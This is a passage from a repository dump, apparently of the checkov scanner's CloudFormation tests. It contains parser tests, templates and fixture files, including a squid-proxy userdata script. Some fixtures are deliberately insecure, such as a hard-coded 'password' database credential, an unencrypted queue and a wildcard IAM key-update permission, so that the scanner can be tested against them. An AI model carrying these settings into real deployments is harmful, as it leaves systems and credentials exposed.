 \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                },\n                {\n                  \"Sid\": \"GetMetricDataAccess\",\n                  \"Action\": [\n                    \"cloudwatch:GetMetricData\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                }\n              ]\n            }\n          }\n        ]\n      }\n    },\n    \"eksCluster\": {\n      \"Type\": \"AWS::EKS::Cluster\",\n      \"Properties\": {\n        \"EncryptionConfig\" : [\n          {\n            \"Provider\": {\n              \"KeyArn\": \"\"\n            },\n            \"Resources\": [\"secrets\"]\n          }\n        ]\n      }\n    },\n    \"acmeSnsCustomResource\": {\n      \"Type\": \"Custom::acmeSnsCustomResource\",\n      \"DependsOn\": [\n        \"acmeCWSQueuePolicy\"\n      ],\n      \"Properties\": {\n        \"Type\": \"AWS_CT_CFG\",\n        \"ServiceToken\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"arn:aws:sns:\",\n              {\n                \"Ref\": \"AWS::Region\"\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"organizationID\"\n                ]\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"SnsNameForConfirmCustomerDeployment\"\n                ]\n              }\n            ]\n          ]\n        },\n        \"IntegrationName\": {\n          \"Ref\": \"AWS::StackName\"\n        },\n        \"CrossAccountRoleArn\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSSACrossAccountAccessRole\",\n            \"Arn\"\n          ]\n        },\n        \"ExternalId\": {\n          \"Ref\": \"ExternalID\"\n        },\n        \"SqsQueueUrl\": {\n          \"Ref\": \"acmeCWSQueue\"\n        },\n        \"CustomerName\": {\n          \"Ref\": \"CustomerName\"\n        },\n        \"DeploymentRegion\": {\n          \"Ref\": \"AWS::Region\"\n        },\n        \"ActionType\": \"CustomerSignUp\",\n        \"Account\": \"acme\",\n        \"TemplateVersion\": \"${template_version}\",\n        \"AWSAccountId\": {\n          \"Ref\": \"AWS::AccountId\"\n        },\n        \"SecurityAccountId\": {\n          \"Fn::If\": [\n            \"SecurityAccountExists\",\n            {\n              \"Ref\": \"AWS::AccountId\"\n            },\n            {\n              \"Ref\": \"SecurityAccountId\"\n            }\n          ]\n        }\n      }\n    }\n  },\n  \"Outputs\": {\n    \"RoleARN\": {\n      \"Description\": \"Cross-account access role ARN to share with acme for CloudTrail integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSSACrossAccountAccessRole\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Value\": {\n        \"Ref\": \"CustomerName\"\n      }\n    },\n    \"SQSQueueURL\": {\n      \"Description\": \"SQS queue URL to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Ref\": \"acmeCWSQueue\"\n      }\n    },\n    \"SQSQueueARN\": {\n      \"Description\": \"SQS queue ARN to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSQueue\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"DeploymentRegion\": {\n      \"Description\": \"The region that the customer installed this cloud-formation template\",\n      \"Value\": {\n        \"Ref\": \"AWS::Region\"\n      }\n    },\n    \"TemplateVersion\": {\n      \"Description\": \"acme.io template version\",\n      \"Value\": \"${template_version}\"\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/parser/test_cfn_json.py",
    "content": "import os\nimport unittest\nfrom json import JSONDecodeError\nfrom pathlib import Path\n\nfrom checkov.common.parsers.json import load\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCfnJson(unittest.TestCase):\n\n    def test_successful_parsing(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files = f'{current_dir}/success.json'\n        cfn = load(test_files)\n        self.assertEqual(cfn[0]['AWSTemplateFormatVersion'], '2010-09-09')\n        Runner().run(None, files=[test_files], runner_filter=RunnerFilter())\n\n    def test_fail_parsing(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files = current_dir + \"/fail.json\"\n        self.assertRaises(JSONDecodeError, load, test_files)\n\n    def test_skip_tf_plan_file(self):\n        # given\n        test_file = Path(__file__).parent / \"tfplan.json\"\n\n        # when\n        report = Runner().run(None, files=[str(test_file)], runner_filter=RunnerFilter())\n\n        # then\n        self.assertEqual(0, len(report.parsing_errors))\n        \n    def test_triple_quotes_string(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files = f'{current_dir}/success_triple_quotes_string.json'\n        cfn = load(test_files)\n        self.assertEqual(cfn[0]['Metadata']['AWS::CloudFormation::Interface']['ParameterLabels']['NewTrailLogFilePrefix']['default'], 'Log file prefix\\n hello')\n        Runner().run(None, files=[test_files], runner_filter=RunnerFilter())\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/parser/test_cfn_yaml.py",
    "content": "import os\nimport unittest\n\nfrom pathlib import Path\nfrom checkov.cloudformation.context_parser import ContextParser\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.cloudformation.parser import parse, cfn_yaml\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.serverless.parsers.parser import parse as serverless_parse\n\n\nclass TestCfnYaml(unittest.TestCase):\n\n    def test_skip_parsing(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files = f'{current_dir}/skip.yaml'\n        report = Runner().run(None, files=[test_files], runner_filter=RunnerFilter())\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 1)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_file_inclusion(self):\n        file = Path(__file__).resolve().parent / 'cfn_file.yaml'\n        data, _ = serverless_parse(file)\n        assert isinstance(data['resources'], list)\n        assert len(data['resources']) == 1\n        assert isinstance(data['resources'][0], dict)\n        assert 'Resources' in data['resources'][0]\n        assert isinstance(data['resources'][0]['Resources'], dict)\n\n    def test_file_circular_inclusion(self):\n        file = Path(__file__).resolve().parent / 'cfn_file_circular.yaml'\n        with self.assertRaises(cfn_yaml.CfnParseError):\n            cfn_yaml.load(file, cfn_yaml.ContentType.SLS)\n\n    def test_code_line_extraction(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        # the test data that we'll evaluate against\n        # line ranges are 1-based\n        # mapping is file name, to resource index, to resource details\n        # checking the resource index helps make sure that we are testing what we think we are testing\n        files = [f'{current_dir}/cfn_newline_at_end.yaml', f'{current_dir}/cfn_nonewline_at_end.yaml']\n        resource_properties_mapping = {\n            files[0]: {\n                0: {\n                    'name': 'MyDB',\n                    'line_range': [2, 9]\n                },\n                1: {\n                    'name': 'MyBucket',\n                    'line_range': [10, 13]\n                }\n            },\n            files[1]: {\n                0: {\n                    'name': 'MyDB',\n                    'line_range': [2, 9]\n                },\n                1: {\n                    'name': 'MyBucket',\n                    'line_range': [11, 14]\n                }\n            }\n        }\n\n        for file in files:\n            cfn_dict, cfn_str = parse(file)\n\n            cf_context_parser = ContextParser(file, cfn_dict, cfn_str)\n\n            for index, (resource_name, resource) in enumerate(cfn_dict['Resources'].items()):\n                # this filters out __startline__ and __endline__ markers\n                resource_id = cf_context_parser.extract_cf_resource_id(resource, resource_name)\n                if resource_id:\n                    # make sure we are checking the right resource\n                    self.assertEqual(resource_name, resource_properties_mapping[file][index]['name'])\n\n                    entity_lines_range, entity_code_lines = cf_context_parser.extract_cf_resource_code_lines(resource)\n                    self.assertEqual(entity_lines_range[0], entity_code_lines[0][0])\n                    self.assertEqual(entity_lines_range[1], entity_code_lines[-1][0])\n                    self.assertEqual(entity_lines_range, resource_properties_mapping[file][index]['line_range'])\n\n    def test_trim_lines(self):\n        # trim from front\n        test1 = [\n            (0, '\\n'),\n            (1, ''),\n            (2, ' here is text'),\n            (3, 'more text')\n        ]\n\n        self.assertEqual(ContextParser.trim_lines(test1), test1[2:4])\n\n        # trim from back\n        test2 = [\n            (0, ' here is text'),\n            (1, 'more text'),\n            (2, '\\n'),\n            (3, ''),\n        ]\n\n        self.assertEqual(ContextParser.trim_lines(test2), test2[0:2])\n\n        # trim from both\n        test3 = [\n            (0, '\\n'),\n            (1, ''),\n            (2, ' here is text'),\n            (3, 'more text'),\n            (4, '\\n'),\n            (5, ''),\n        ]\n\n        self.assertEqual(ContextParser.trim_lines(test3), test3[2:4])\n\n        # trim nothing\n        test4 = [\n            (2, ' here is text'),\n            (3, 'more text'),\n        ]\n\n        self.assertEqual(ContextParser.trim_lines(test4), test4)\n\n        # trim everything\n        test5 = [\n            (2, ''),\n            (3, '\\n'),\n        ]\n\n        self.assertEqual(ContextParser.trim_lines(test5), [])\n\n    def test_parameter_import_lines(self):\n        # check that when a parameter is imported into a resource, the line numbers of the resource are preserved\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        file = f'{current_dir}/cfn_with_ref.yaml'\n        definitions, definitions_raw = parse(file)\n\n        cf_context_parser = ContextParser(file, definitions, definitions_raw)\n        resource = definitions['Resources']['ElasticsearchDomain']\n        entity_lines_range, entity_code_lines = cf_context_parser.extract_cf_resource_code_lines(resource)\n        self.assertEqual(entity_lines_range[0], 10)\n        self.assertEqual(entity_lines_range[1], 20)\n\n    def test_parsing_error(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files = [\"cfn_bad_name.yaml\", \"cfn_with_ref_bad.yaml\", \"cfn_bad_iam.yaml\"]\n        report = Runner().run(None, files=[f'{current_dir}/{f}' for f in test_files], runner_filter=RunnerFilter())\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 6)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 2)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/parser/tfplan.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.bucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"bucket\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl\": \"private\",\n            \"bucket\": \"bucket\",\n            \"bucket_prefix\": null,\n            \"cors_rule\": [],\n            \"force_destroy\": false,\n            \"grant\": [],\n            \"lifecycle_rule\": [],\n            \"logging\": [],\n            \"object_lock_configuration\": [],\n            \"policy\": null,\n            \"replication_configuration\": [],\n            \"server_side_encryption_configuration\": [],\n            \"tags\": null,\n            \"website\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_s3_bucket.bucket\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"bucket\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl\": \"private\",\n          \"bucket\": \"bucket\",\n          \"bucket_prefix\": null,\n          \"cors_rule\": [],\n          \"force_destroy\": false,\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"policy\": null,\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags\": null,\n          \"website\": []\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"arn\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"region\": true,\n          \"replication_configuration\": [],\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": [],\n          \"versioning\": true,\n          \"website\": [],\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_s3_bucket.bucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"bucket\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"constant_value\": \"bucket\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/cloudformation/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/runner/resources/cfn_newline_at_end.yaml",
    "content": "Resources:\n  MyDB:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n  MyBucket:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      BucketName: 'hello'\n"
  },
  {
    "path": "tests/cloudformation/runner/resources/double_statement_cloudsplaining.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  MyResource:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action:\n            - 's3:GetObject'\n            - 's3:PutObject'\n            Resource: '*'\n          - Effect: Allow\n            Action: 'iam:UpdateAccessKey'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin"
  },
  {
    "path": "tests/cloudformation/runner/resources/fail.yaml",
    "content": "Resources:\n  UnencryptedQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      QueueName: any"
  },
  {
    "path": "tests/cloudformation/runner/resources/graph.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"AppSync-WAF-Enabled\"\nResources:\n    GoodAppSyncGraphQLApi:\n        Type: \"AWS::AppSync::GraphQLApi\"\n        Properties:\n            Name: \"My Checkov Test App\"\n            AuthenticationType: \"API_KEY\"\n            XrayEnabled: false\n    GoodWAFv2WebACL:\n        Type: \"AWS::WAFv2::WebACL\"\n        Properties:\n            Name: \"Checkov-ACL\"\n            Description: \"Checkov-ACL\"\n            DefaultAction: \n                Block: {}\n            VisibilityConfig: \n                SampledRequestsEnabled: true\n                CloudWatchMetricsEnabled: true\n                MetricName: \"Checkov-ACL\"\n            Scope: \"REGIONAL\"\n    WebACLAssociation:\n      Type: AWS::WAFv2::WebACLAssociation\n      Properties:\n        ResourceArn: !GetAtt GoodAppSyncGraphQLApi.Arn\n        WebACLArn: !GetAtt GoodWAFv2WebACL.Arn\n    NoWAFAppSyncGraphQLApi:\n        Type: \"AWS::AppSync::GraphQLApi\"\n        Properties:\n            Name: \"My Checkov Test App with no WAF\"\n            AuthenticationType: \"API_KEY\"\n            XrayEnabled: false"
  },
  {
    "path": "tests/cloudformation/runner/resources/invalid.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"acme AWS CloudTrail and Config Security Audit Integration\",\n  \"Mappings\": {\n    \"acmeEnvironment\": {\n      \"env\": {\n        \"organizationID\": \"${account_id}\",\n        \"SnsNameForConfirmCustomerDeployment\": \"${sns_name}\"\n      }\n    }\n  },\n  \"Metadata\": {\n    \"AWS::CloudFormation::Interface\": {\n      \"ParameterGroups\": [\n        {\n          \"Label\": {\n            \"default\": \"Required Parameters\"\n          },\n          \"Parameters\": [\n            \"CustomerName\",\n            \"ResourceNamePrefix\",\n            \"ExternalID\",\n            \"LogFilesExpiration\",\n            \"CreateTrail\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"New Trail Options\"\n          },\n          \"Parameters\": [\n            \"NewTrailLogFilePrefix\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"Existing Trail Setup\"\n          },\n          \"Parameters\": [\n            \"ExistingTrailBucketName\",\n            \"ExistingTrailTopicArn\",\n            \"SecurityAccountId\"\n          ]\n        }\n      ],\n      \"ParameterLabels\": {\n        \"ResourceNamePrefix\": {\n          \"default\": \"Resource name prefix\"\n        },\n        \"CustomerName\": {\n          \"default\": \"Customer name\"\n        },\n        \"ExternalID\": {\n          \"default\": \"ExternalID\"\n        },\n        \"CreateTrail\": {\n          \"default\": \"Create new trail?\"\n        },\n        \"NewTrailLogFilePrefix\": {\n          \"default\": \"Log file prefix\"\n        },\n        \"ExistingTrailBucketName\": {\n          \"default\": \"Bucket name\"\n        },\n        \"ExistingTrailTopicArn\": {\n          \"default\": \"Topic ARN\"\n        },\n        \"LogFilesExpiration\": {\n          \"default\": \"LifecycleConfigurationExpirationInDays\"\n        }\n      }\n    }\n  },\n  \"Parameters\": {\n    \"ResourceNamePrefix\": {\n      \"Description\": \"Names of resources created by the stack will be prefixed with this value to ensure uniqueness.\",\n      \"Type\": \"String\",\n      \"Default\": \"acme\",\n      \"MinLength\": \"1\",\n      \"MaxLength\": \"32\",\n      \"AllowedPattern\": \"^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\",\n      \"ConstraintDescription\": \"Invalid resource name prefix value.  Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\"\n    }\n  },\n  \"Resources\": {\n    \"acmeCWSBucket\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n"
  },
  {
    "path": "tests/cloudformation/runner/resources/invalid.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  myDistribution1:\n    Type: AWS::CloudFront::Distribution\n    Properties:\n      DistributionConfig:\n        ViewerCertificate:\n          CloudFrontDefaultCertificate: 'true'\n          MinimumProtocolVersion: TLSv1.2_2019\n          # SslSupportMethod: sni-only\n          SslSupportMethod: static-ip\n          SslSupportMethod: vip\n"
  },
  {
    "path": "tests/cloudformation/runner/resources/invalid_properties.json",
    "content": "{\n  \"Resources\": {\n    \"InvalidProperties\": {\n      \"Type\": \"AWS::Serverless::Function\",\n      \"Properties\": \"NotObject\"\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/runner/resources/invalid_properties.yaml",
    "content": "Resources:\n  InvalidProperties:\n    Type: 'AWS::Serverless::Function'\n    Properties: 'NotObject'"
  },
  {
    "path": "tests/cloudformation/runner/resources/no_properties.json",
    "content": "{\n  \"Resources\": {\n    \"NoPropertiesJson\": {\n      \"Type\": \"AWS::Serverless::Function\"\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/runner/resources/no_properties.yaml",
    "content": "Resources:\n  NoPropertiesYaml:\n    Type: 'AWS::Serverless::Function'"
  },
  {
    "path": "tests/cloudformation/runner/resources/skip_sub_dict.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Description\": \"Stack\",\n    \"Parameters\": {\n        \"RequirePostfix\": {\n            \"Type\": \"String\",\n            \"AllowedValues\": [\n                \"Yes\",\n                \"No\"\n            ]\n        },\n        \"MaxPriority\": {\n            \"Type\": \"String\",\n            \"AllowedValues\": [\n                \"high\",\n                \"low\",\n                \"ticket\",\n                \"notify\"\n            ]\n        }\n    },\n    \"Mappings\": {\n        \"Blobs\": {\n            \"Code\": {\n                \"userdata\": \"set -eux -o pipefail\\n\\n# usage: complete_asg_lifecycle asg_name lifecycle_name [CONTINUE|ABANDON]\\ncomplete_asg_lifecycle() (\\n  instance_id=\\\"$(curl -s http://169.254.169.254/latest/meta-data/instance-id)\\\"\\n)\\nget_instance_id() { curl -s http://169.254.169.254/latest/meta-data/instance-id; }\\nget_az() { curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone; }\\n\\ncleanup() {\\n  code=\\\"$?\\\"\\n  (( !code )) || complete_asg_lifecycle \\\"$StackName\\\" StartupLifecycleHook ABANDON\\n}\\ntrap cleanup EXIT\\n\\nsetup_monitoring --asg \\\"$StackName-\\\" /var/log/squid/{access.log,cache.log}\\n\\n# disable source/destination check\\nINSTANCE_ID=\\\"$(get_instance_id)\\\"\\n\\n# get the EIP for this instance and use it instead of the default\\nif [ -n \\\"$SquidEIP\\\" ]; then\\nfi\\n\\n# trust the rhui certs\\nln -s /etc/pki/rhui/cdn.redhat.com-chain.crt /etc/pki/ca-trust/source/anchors\\nupdate-ca-trust\\n\\n# install squid\\nyum install -y squid\\nmv /etc/squid /etc/squid.base\\nln -s /etc/ssl/squid/ /etc/squid.base/ssl\\ncp -r /etc/squid.base /etc/squid-current\\nln -sfT /etc/squid-current /etc/squid\\n\\nmkdir -p /etc/systemd/system/squid.service.d\\ncat >/etc/systemd/system/squid.service.d/shutdown.conf <<EOF\\n[Unit]\\nRequires=squid-shutdown.service\\nEOF\\n\\nscript=/usr/local/bin/kill-instance.sh\\ncat >/etc/systemd/system/squid-shutdown.service <<EOF\\n[Unit]\\nRequires=squid.service\\nAfter=squid.service\\n[Service]\\nEnvironment=AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION\\nRemainAfterExit=yes\\nExecStop=$script $INSTANCE_ID\\nExecStop=/bin/sleep 10\\nEOF\\ncat >\\\"$script\\\" <<EOF\\n#!/bin/bash\\naws autoscaling set-instance-health --instance-id \\\\$1 --health-status Unhealthy\\necho \\\"\\\\$output\\\"\\nEOF\\nchmod +x \\\"$script\\\"\\n\\nscript=/usr/local/bin/healthcheck.sh\\ncat >/etc/systemd/system/proxy-healthcheck.service <<EOF\\n[Unit]\\nAfter=network.service\\n[Service]\\nEnvironment=AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION\\nExecStart=$script $TargetGroup\\nRestart=always\\nEOF\\ncat >\\\"$script\\\" <<'EOF'\\n#!/bin/bash\\nset -eu -o pipefail\\ntarget_group=\\\"$1\\\"\\nEOF\\nchmod +x \\\"$script\\\"\\n\\nsystemctl daemon-reload\\nsystemctl enable squid\\nsystemctl enable --now proxy-healthcheck\\n\\n# configure iptables\\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 80 -j REDIRECT --to-port 3129\\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 443 -j REDIRECT --to-port 3130\\nINSTANCE_IP=$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\\niptables -t nat -A PREROUTING -s 0.0.0.0/0 -p tcp --dport 25 -j DNAT --to-destination $INSTANCE_IP\\n\\n# create ssl certificate\\nmkdir -p /etc/ssl/squid\\n(\\n  cd /etc/ssl/squid\\n  openssl genrsa -out squid.key 4096\\n  openssl req -new -key squid.key -out squid.csr -subj \\\"/CN=squid.proxy\\\"\\n  openssl x509 -req -days 3650 -in squid.csr -signkey squid.key -out squid.crt\\n  cat squid.key squid.crt >squid.pem\\n  chmod -R 400 *\\n)\\n\\n# configure squid\\ncat > /usr/local/bin/squid-config-refresh.sh << EOF\\n#!/bin/bash\\nset -eu -o pipefail\\n\\nold=\\\"\\\\$(readlink /etc/squid)\\\"\\nnew=\\\"/etc/squid-\\\\$(date +%s)\\\"\\nonexit() {\\n  code=\\\\$?\\n  put-custom-metric.sh SquidConfigStatus \\\\$code\\n  (( code )) && ln -sfT \\\"\\\\$old\\\" /etc/squid && rm -rf \\\"\\\\$new\\\"\\n}\\ntrap onexit EXIT\\n\\nrm -rf \\\"\\\\$new\\\"\\ncp -r /etc/squid.base \\\"\\\\$new\\\"\\naws s3 cp --recursive --quiet $ProxyConfigLocation \\\"\\\\$new\\\"\\nchmod a+x \\\"\\\\$new\\\"\\nchmod -R a+r \\\"\\\\$new\\\"\\nmy_ip=\\\"\\\\$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\\\"\\nsed -i \\\"s/LOCAL_IP/\\\\$my_ip/g\\\" \\\"\\\\$new/squid.conf\\\"\\n\\nif diff --brief --recursive \\\"\\\\$old\\\" \\\"\\\\$new\\\"; then\\n  echo 'Config has not changed' >&2\\n  rm -rf \\\"\\\\$new\\\"\\n  exit\\nfi\\n\\necho 'Config has changed, reloading' >&2\\nln -sfT \\\"\\\\$new\\\" /etc/squid\\nsquid -k parse\\n! squid -k parse 2>&1 | fgrep FATAL\\nsystemctl start squid\\nsleep 15\\nsystemctl reload squid\\nrm -rf \\\"\\\\$old\\\" || true\\nEOF\\nchmod +x /usr/local/bin/squid-config-refresh.sh\\nsquid-config-refresh.sh || true\\n\\nsubnets=$(aws ec2 describe-subnets --filters Name=availability-zone,Values=$(get_az) | jq -r '.Subnets|map(.SubnetId)|join(\\\",\\\")')\\nroute_tables=\\\"$(aws ec2 describe-route-tables --route-table-ids ${RouteTables//,/ } --filters Name=association.subnet-id,Values=\\\"$subnets\\\" | jq -r .RouteTables[].RouteTableId)\\\"\\n\\ncat >/usr/local/bin/takeover-route.sh <<EOF\\n#!/bin/bash\\nset \\\"\\\\$@\\\" --\\nsystemctl is-active squid || exit 1\\nhealth=\\\"\\\\$(\\n  aws elbv2 describe-target-health --target-group-arn $TargetGroup --targets Id=$INSTANCE_ID \\\\\\n  | jq -r '.TargetHealthDescriptions[].TargetHealth.State'\\n)\\\"\\n[ \\\"\\\\$health\\\" != healthy ] && exit 1\\nif [ -n '$SquidEIP' ]; then\\n    current_nat=\\\"\\\\$(\\n        aws ec2 describe-network-interfaces --filters=Name=association.allocation-id,Values=$SquidEIP \\\\\\n        | jq -r .NetworkInterfaces[0].Attachment.InstanceId\\n    )\\\"\\n    [ \\\"\\\\$current_nat\\\" != $INSTANCE_ID ] && exit 1\\nfi\\n\\nfor route in $route_tables; do\\n    current=\\\"\\\\$(\\n      aws ec2 describe-route-tables --route-table-ids \\\\$route \\\\\\n      | jq -r '.RouteTables[].Routes[] | select(.DestinationCidrBlock==\\\"0.0.0.0/0\\\").InstanceId'\\n    )\\\"\\n    if [ \\\"\\\\$current\\\" != $INSTANCE_ID ]; then\\n      echo Taking over \\\\$route >&2\\n      args=( --destination-cidr-block 0.0.0.0/0 --route-table-id \\\\$route --instance-id $INSTANCE_ID )\\n      aws ec2 replace-route \\\"\\\\${args[@]}\\\" || aws ec2 create-route \\\"\\\\${args[@]}\\\"\\n    fi\\ndone\\nEOF\\nchmod +x /usr/local/bin/takeover-route.sh\\n\\n# configure cron jobs\\ncrontab << EOF\\nPATH=$PATH\\n* * * * * squid-config-refresh.sh\\n0 15 * * * sleep $((NUM*3600)); yum -y update --security\\n0 0 * * * squid -k rotate\\n*/10 * * * * AWS_DEFAULT_REGION=$AWS_DEFAULT_REGION takeover-route.sh\\nEOF\\n\\n# configure email relay for Data Squids only\\nrun_postfix_config() {\\n  cat > /usr/local/bin/postfix-config-refresh.sh << EOF\\n#!/bin/bash\\nset -eu -o pipefail\\n\\nyum install cyrus-sasl-plain -y\\nmv /etc/postfix/main.cf /etc/postfix/main.cf.orig\\naws s3 cp \\\"$ProxyConfigLocation\\\"-mail/main.cf /etc/postfix/main.cf\\naws s3 cp \\\"$ProxyConfigLocation\\\"-mail/recipient_whitelist /etc/postfix/recipient_whitelist\\nmy_ip=\\\"\\\\$(curl -s http://169.254.169.254/latest/meta-data/local-ipv4)\\\"\\naws ssm put-parameter --name \\\"/config/email/relay$NUM\\\" --value \\\"\\\\$my_ip\\\" --type String --overwrite --region ap-southeast-2\\nsed -i \\\"s/LOCAL_IP/\\\\$my_ip/g\\\" /etc/postfix/main.cf\\necho \\\"mynetworks = $VpcCidr, 127.0.0.0/8\\\" >> /etc/postfix/main.cf\\nmail_user=\\\"\\\\$(aws secretsmanager get-secret-value --secret-id proxy/email --region ap-southeast-2 --query SecretString|jq -r .|jq -r '.user')\\\"\\nmail_password=\\\"\\\\$(aws secretsmanager get-secret-value --secret-id proxy/email --region ap-southeast-2 --query SecretString|jq -r .|jq -r '.secret')\\\"\\necho \\\"email-smtp.ap-southeast-2.amazonaws.com \\\\$mail_user:\\\\$mail_password\\\" > /etc/postfix/relay_creds\\npostmap /etc/postfix/recipient_whitelist\\npostmap /etc/postfix/relay_creds\\nrm /etc/postfix/recipient_whitelist\\nrm /etc/postfix/relay_creds\\nsystemctl restart postfix\\nEOF\\n\\n  chmod +x /usr/local/bin/postfix-config-refresh.sh && postfix-config-refresh.sh\\n\\n  # modify crontab to add postfix 